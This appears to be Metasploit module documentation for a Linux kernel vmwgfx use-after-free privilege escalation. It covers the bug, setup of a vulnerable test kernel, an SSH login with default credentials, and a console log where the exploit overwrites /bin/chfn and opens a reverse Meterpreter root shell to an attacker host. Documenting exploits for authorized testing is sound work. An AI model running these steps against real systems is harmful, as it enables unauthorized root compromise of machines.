## Vulnerable Application

If the vmwgfx driver fails to copy the 'fence_rep' object to userland, it tries to
recover by deallocating the (already populated) file descriptor. This is
wrong, as the fd gets released via put_unused_fd() which shouldn't be used,
as the fd table slot was already populated via the previous call to
fd_install(). This leaves userland with a valid fd table entry pointing to
a free'd 'file' object.

We use this bug to overwrite a SUID binary with our payload and gain root.
Linux kernel 4.14-rc1 - 5.17-rc1 are vulnerable.

Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic.

### Install

To install a vulnerable kernel on Ubuntu 22.04.01, follow these instructions:

1. Download the `linux-*` modules for a vulnerable kernel, such as https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.13.12/amd64/
2. Install `libssl.1` (https://askubuntu.com/a/1403683)
   1. `echo "deb http://security.ubuntu.com/ubuntu focal-security main" | sudo tee /etc/apt/sources.list.d/focal-security.list`
   2. `sudo apt-get update`
   3. `sudo apt-get install libssl1.1`
   4. `sudo rm /etc/apt/sources.list.d/focal-security.list`
3. `sudo apt-get install build-essential`
4. `sudo dpkg -i *.deb`
5. Follow [these instructions](https://gist.github.com/chaiyujin/c08e59752c3e238ff3b1a5098322b363) to boot the vuln kernel
6. `sudo reboot`

## Verification Steps

1. Start msfconsole
2. Get an initial user shell
3. Do: `use linux/local/vmwgfx_fd_priv_esc`
4. Do: `set session [#]`
5. Do: `run`
6. You should get a root shell.

## Options

## Scenarios

### Ubuntu 22.04.01 with kernel 5.13.12-051312-generic

Gain initial user access

```
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf auxiliary(scanner/ssh/ssh_login) > set username ubuntu
username => ubuntu
msf auxiliary(scanner/ssh/ssh_login) > set password ubuntu
password => ubuntu
msf auxiliary(scanner/ssh/ssh_login) > run

[*] 1.1.1.1:22 - Starting bruteforce
[+] 1.1.1.1:22 - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd) Linux ubuntu2204 5.13.12-051312-generic #202108180838 SMP Wed Aug 18 08:41:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux '
[*] SSH session 1 opened (2.2.2.2:40003 -> 1.1.1.1:22) at 2022-11-25 08:47:08 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/ssh/ssh_login) > sessions -i 1
[*] Starting interaction with 1...

id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)
^Z
Background session 1? [y/N]  y
```

priv esc

```
msf auxiliary(scanner/ssh/ssh_login) > use linux/local/vmwgfx_fd_priv_esc
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf exploit(linux/local/vmwgfx_fd_priv_esc) > set verbose true
verbose => true
msf exploit(linux/local/vmwgfx_fd_priv_esc) > set session 1
session => 1
msf exploit(linux/local/vmwgfx_fd_priv_esc) > set lhost 2.2.2.2
lhost => 2.2.2.2
msf exploit(linux/local/vmwgfx_fd_priv_esc) > exploit

[!] SESSION may not be compatible with this module:
[!]  * incompatible session architecture: 
[*] Started reverse TCP handler on 2.2.2.2:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Kernel version 5.13.12-051312-generic appears to be vulnerable
[+] /dev/dri/card0 found writable
[+] /bin/chfn suid binary found
[+] The target appears to be vulnerable. vmwgfx installed
[+] Original /bin/chfn backed up to /root/.msf4/loot/20221125085335_default_1.1.1.1_binchfn_651737.bin
[+] gcc is installed
[*] Live compiling exploit on system...
[*] Max line length is 65537
[*] Writing 10814 bytes in 1 chunks of 39254 bytes (octal-encoded), using printf
[*] Uploading payload to /tmp/.Qpm6q
[*] Writing '/tmp/.Qpm6q' (282 bytes) ...
[*] Max line length is 65537
[*] Writing 282 bytes in 1 chunks of 843 bytes (octal-encoded), using printf
[*] Launching exploit...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045348 bytes) to 1.1.1.1
[*] Replacing trojaned /bin/chfn with original
[*] Meterpreter session 2 opened (2.2.2.2:4444 -> 1.1.1.1:38250) at 2022-11-25 08:54:14 -0500

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 1.1.1.1
OS           : Ubuntu 22.04 (Linux 5.13.12-051312-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
```
